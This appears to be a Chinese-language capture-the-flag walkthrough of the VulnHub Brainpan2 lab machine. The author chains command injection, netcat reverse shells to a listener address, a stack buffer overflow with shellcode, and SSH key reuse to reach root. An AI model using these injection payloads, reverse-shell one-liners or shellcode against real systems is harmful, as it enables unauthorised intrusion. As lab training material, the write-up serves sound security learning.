20-VulnHub-Brainpan2

20-VulnHub-Brainpan2

靶机地址:http://www.vulnhub.com/entry/brainpan-2,56/

目标:得到root权限&找到flag.txt
作者:尼德霍格007
时间:2020-08-30

一、信息收集

扫描目标主机

nmap -sP 192.168.21.0/24

image-20210716194202070

扫描开放端口

nmap -A -p- 192.168.21.142

image-20210716221737417

可以看到开放了9999和10000两个端口,前一个是abyss服务,后一个是http服务

先看一下熟悉的http服务

整个页面就一张图片,源码也没有有用信息

image-20210829122911194

看一下9999端口,使用nc连接

nc 192.168.21.142 9999

image-20210829123123487

它看起来像是一个类似于brainpan1.0的二进制文件

试了一下GUEST账户,没有有用的权限

image-20210829123534242

image-20210829123619106

但是好像可以用DEBUG登录

二、发现漏洞

进来之后可以查看系统和文件信息

image-20210829123851466

而且还可以查看/etc/passwd文件的内容

image-20210829124036024

由此看起来没有对VIEW命令进行输入过滤,验证一下

image-20210829124204039

确实可行,id命令也正常执行了,这就好办了

三、获取shell&提权

试一下反向shell

kali开启监听

nc -lnvp 443

image-20210829124424268

这边输入反向shell命令

;nc -e /bin/sh 192.168.21.128 443

image-20210829124503956

已经成功获取到shell,用户名是anansi

image-20210829124523540

python获取交互式shell(使用bash运行命令在export配置临时环境变量时会出错,我之前不知道,在这里卡了好久,所以不推荐使用bash运行命令,但是bash运行命令会有反馈,比较直观)

python -c 'import pty;pty.spawn("/bin/bash")'

image-20210829124710230

开始找有用信息

image-20210829124846468

home目录中有三个用户,一个是自己anansi,一个puck无法访问,只有reynard可以查看

image-20210829125036524

看了一下readme.txt,可以使用msg_root向root用户发送消息

和之前的brainpan1.0有异曲同工之处,看来缓冲区溢出就是正确的提权思路了

在gdb中打开应用程序并发送大量的“a”和“B”,在“username”参数中显示了EIP覆盖

gdb -q msg_root
r `python -c 'print "A"*10000'` `python -c 'print "B"*10000'`

image-20210829132258327

image-20210829132431976

python开启一个http服务

image-20210829133434719

把msg_root文件传输到kali上

curl -O http://192.168.21.142:10001/msg_root

image-20210829133554577

使用ploit-tools工具中的pattern创建字符串

工具地址https://github.com/SaltwaterC/sploit-tools

python pattern.py create 20

image-20210829152234038

在gdb中运行msg_root

image-20210829152402260

没有gdb的话安装一个

apt install gdb

运行生成的字符串

run Aa0Aa1Aa2Aa3Aa4Aa5Aa foo

image-20210829152553682

运行不了,加个权限

chmod +x msg_root

image-20210829152642293

image-20210829152707595

在0x35614134处崩溃了,看看偏移量

python pattern.py offset 0x35614134

image-20210829152833740

有一个14字节的偏移量,然后我们可以覆盖EIP

制作payload

借用Smashing the Stack的shellcode,加了32NOPs作为前缀。然后,我把所有的东西都放在有效载荷变量中。(注意使用/bin/sh运行命令)

export PAYLOAD=$(python -c 'print(b"\x90" * 32 + b"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")')

echo -n $PAYLOAD | wc

找出这个变量在堆栈中的位置。

image-20210829171202427

注意最后一个框中的数字要自己慢慢试出来,试出来的前面地址就是需要的地址。直到出现下图中的蓝色框中的内容才行,打完第二条命令后看到前面的地址是0xbffffedf。所以我们需要的地址就是这个。由于处理器的字符顺序不同我们要把它反过来,改为“\xdf\xfe\xff\xbf”。之后按图中红框一步步往下走即可,最后在黄色框位置获得了root权限

x/s *((char **)environ + 3)
x/s *((char **)environ + 3) + strlen("PAYLOAD=")
run Aa0Aa1Aa2Aa3Aa$(python -c "print('\xdf\xfe\xff\xbf')") bar
/home/reynard/msg_root Aa0Aa1Aa2Aa3Aa$(python -c "print('\xdf\xfe\xff\xbf')") bar

image-20210829171858070

查看flag.txt,提示没有权限,查看旁边的whatif.txt文件,提示我们可能不是真正的root用户。而且上一步中的euid=104也很可疑,正常来说root用户应该是uid=0

image-20210829172406745

四、提权了,但没完全root,继续

看一下passwd文件

cat /etc/passwd

image-20210829172531062

原来是有两个root用户,其中一个root用户名后面有一个空格(不细看还真没发现)

找setuid可执行文件

find / -perm -4000 -type f 2>/dev/null

image-20210829173041551

有个opt/old/brainpan-1.8,比较特殊,进去看看

brainpan-1.8中这个几文件比较可疑,把它们下载下来

开启http服务

python -m SimpleHTTPServer 10002 &

kali执行

curl -O http://192.168.21.142:10002/brainpan-1.8.exe

curl -O http://192.168.21.142:10002/brainpan.cfg

curl -O http://192.168.21.142:10002/brainpan7

打开cfg配置文件看到ip和端口

image-20210829173649245

首先编辑这个cfg文件,以便在所有接口上绑定,然后在后台启动服务器

sed -i "s/127.0.0.1/0.0.0.0/g" brainpan.cfg

./brainpan-1.8.exe &

image-20210829174255708

然后nc连接这个端口

nc 192.168.21.142 9333

image-20210829174410644

开启一个监听端口9095

nc -lnvp 9095

image-20210829174609332

然后继续反向shell

image-20210829174809773

a; nc -e /bin/dash 192.168.21.128 9095

这边就可以获得puck的shell

image-20210829174948324

进来了找找有用信息

image-20210829175319567

看到ssh -l "root " brainpan2这一条命令,可疑判断此用户可以作为root用户(带空格)通过SSH服务登入控制台

检查一下SSH服务

cat /etc/ssh/sshd_config

image-20210829175716883

service ssh status

image-20210829175737009

漂亮,该有的都有了

ssh登录

ssh -i .ssh/id_rsa root@127.0.1.1 -p 2222

image-20210829181703426

但是要密码

最后,我决定将backup.ssh目录移回主目录。

mv .ssh .ssh-old
mv .backup/.ssh .

image-20210830130513799

然后ssh登陆

ssh -oStrictHostKeyChecking=no -l "root " 127.0.1.1 -p 2222

image-20210830131109324

好像不太行,换条路,找到/home/puck/.backup/.ssh-old下的id_rsa,用它来登录

ssh -l "root " brainpan2 -p 2222 -i /home/puck/.backup/.ssh-old/id_rsa

image-20210830131542391

五、flag,拿来吧你

成功获得root,这次是真正的root用户

image-20210830131827258

拿到flag

image-20210830131915100

六、总结

中间有事耽搁了半个月没有打靶,手都生了。这次的难点是缓冲区溢出的运用,重点却是识别后面的假root用户且提权到真正的root权限。这一块的内容掌握的不是很好,还得继续努力!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼德霍格007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值